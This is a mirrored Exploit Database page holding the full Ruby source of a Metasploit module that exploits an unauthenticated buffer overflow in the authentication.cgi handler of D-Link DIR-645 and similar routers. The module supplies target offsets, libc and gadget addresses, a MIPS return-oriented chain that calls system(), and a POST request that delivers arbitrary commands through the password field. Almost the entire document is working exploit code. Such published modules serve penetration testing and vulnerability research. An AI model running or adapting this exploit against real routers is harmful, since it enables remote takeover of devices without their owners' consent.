D-Link Devices – ‘Authentication.cgi’ Remote Buffer Overflow (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2014-06-24
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/33862/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStagerEcho
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'D-Link authentication.cgi Buffer Overflow',
  'Description'=> %q{
  This module exploits an remote buffer overflow vulnerability on several D-Link routers.
  The vulnerability exists in the handling of HTTP queries to the authentication.cgi with
  long password values. The vulnerability can be exploitable without authentication. This
  module has been tested successfully on D-Link firmware DIR645A1_FW103B11. Other firmwares
  such as the DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable.
  },
  'Author' =>
  [
  'Roberto Paleari', # Vulnerability discovery
  'Craig Heffner', # also discovered the vulnerability / help with some parts of this module
  'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module and verification on several other routers
  ],
  'License'=> MSF_LICENSE,
  'Platform' => ['linux'],
  'Arch' => ARCH_MIPSLE,
  'References' =>
  [
  ['OSVDB', '95951'],
  ['EDB', '27283'],
  ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008'], #advisory on vendor web site
  ['URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'], #vendor web site of router
  ['URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt']#original advisory
  ],
  'Targets'=>
  [
  [ 'D-Link DIR-645 1.03',
  {
  'Offset'=> 1011,
  'LibcBase'=> 0x2aaf8000,#Router
  #'LibcBase' => 0x40854000,# QEMU environment
  'System'=> 0x000531FF,# address of system
  'CalcSystem'=> 0x000158C8,# calculate the correct address of system
  'CallSystem'=> 0x000159CC,# call our system
  }
  ]
  ],
  'DisclosureDate' => 'Feb 08 2013',
  'DefaultTarget' => 0))
  end
  
  def check
  begin
  res = send_request_cgi({
  'uri' => "/authentication.cgi",
  'method'=> 'GET'
  })
  
  if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /status.*uid/
  return Exploit::CheckCode::Detected
  end
  rescue ::Rex::ConnectionError
  return Exploit::CheckCode::Unknown
  end
  
  Exploit::CheckCode::Unknown
  end
  
  def exploit
  print_status("#{peer} - Accessing the vulnerable URL...")
  
  unless check == Exploit::CheckCode::Detected
  fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
  end
  
  print_status("#{peer} - Exploiting...")
  execute_cmdstager(
  :linemax => 200,
  :concat_operator => " && "
  )
  end
  
  def prepare_shellcode(cmd)
  shellcode = rand_text_alpha_upper(target['Offset'])# padding
  shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system
  shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4
  shellcode << [target['LibcBase'] + target['CallSystem']].pack("V") # s5 - second gadget (call system)
  
  # .text:000159CC 10 00 B5 27addiu $s5, $sp, 0x170+var_160# get the address of our command into $s5
  # .text:000159D0 21 28 60 02move$a1, $s3 # not used
  # .text:000159D4 21 30 20 02move$a2, $s1 # not used
  # .text:000159D8 21 C8 00 02move$t9, $s0 # $s0 - system
  # .text:000159DC 09 F8 20 03jalr$t9 # call system
  # .text:000159E0 21 20 A0 02move$a0, $s5 # our cmd -> into a0 as parameter for system
  
  shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp
  shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system)
  
  # .text:000158C8 21 C8 A0 02move$t9, $s5 # s5 - our second gadget
  # .text:000158CC 09 F8 20 03jalr$t9# jump the second gadget
  # .text:000158D0 01 00 10 26addiu $s0, 1 # s0 our system address - lets calculate the right address
  
  shellcode << rand_text_alpha_upper(16) # filler in front of our command
  shellcode << cmd
  end
  
  def execute_command(cmd, opts)
  shellcode = prepare_shellcode(cmd)
  uid = rand_text_alpha(4)
  begin
  res = send_request_cgi({
  'method' => 'POST',
  'uri' => "/authentication.cgi",
  'cookie' => "uid=#{uid}",
  'encode_params' => false,
  'vars_post' => {
  'uid'=> uid,
  'password' => rand_text_alpha(3) + shellcode,
  }
  })
  return res
  rescue ::Rex::ConnectionError
  fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
  end
  end
  end